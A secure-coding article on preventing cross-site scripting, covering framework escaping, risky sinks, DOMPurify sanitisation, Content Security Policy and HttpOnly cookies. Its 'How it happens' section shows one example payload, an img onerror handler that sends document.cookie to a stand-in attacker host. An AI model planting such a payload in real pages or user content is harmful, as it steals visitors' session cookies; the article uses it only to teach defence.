Preventing Cross-Site Scripting (XSS) in Modern Web Apps

A
Author
02 Aug, 2026 1 min read 745 views

Cross-site scripting (XSS) lets an attacker run their JavaScript in other users' browsers on your site. With it they can read data on the page, act as the user, or steal tokens kept in JavaScript-accessible storage.

How it happens

// A comment saved as: <img src=x onerror="fetch('https://evil.example/?c='+document.cookie)">
commentDiv.innerHTML = comment.body;     // the browser runs the attacker's code

1. Let the framework escape output

<p>{comment.body}</p>   // React escapes this: shown as text, never run

React, Vue, Angular, Svelte and server templates like Jinja and Blade escape by default. Most XSS in modern apps comes from bypassing that.

2. Treat the escape hatches as dangerous

  • dangerouslySetInnerHTML (React), v-html (Vue), [innerHTML] (Angular), {!! !!} (Blade), |safe (Jinja).
  • element.innerHTML, document.write, eval, new Function, setTimeout with a string.
  • URLs from users in href: javascript:alert(1) is a valid link. Allow only http: and https:.

3. Sanitise HTML you must render

import DOMPurify from 'dompurify';

const clean = DOMPurify.sanitize(post.html, { USE_PROFILES: { html: true } });
return <article dangerouslySetInnerHTML={{ __html: clean }} />;

Use a maintained sanitiser with an allow-list; never write your own regex-based filter. Sanitise on output (or on both input and output), so old stored data is covered too.

4. Add a Content Security Policy

Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-r4nd0m'; object-src 'none'; base-uri 'self'; frame-ancestors 'none'

A strict CSP blocks inline scripts and scripts from other origins, so even if an injection slips through, the attacker's code doesn't run. Start in Content-Security-Policy-Report-Only mode to find what would break.

5. Limit the damage

  • Session cookies with HttpOnly can't be read by scripts.
  • Avoid storing long-lived tokens in localStorage.
  • Require re-authentication for sensitive actions.
Was this article helpful?

Comments

No comments yet. Have a question or a tip? Be the first to share it.

Leave a comment

Comments are reviewed before they appear.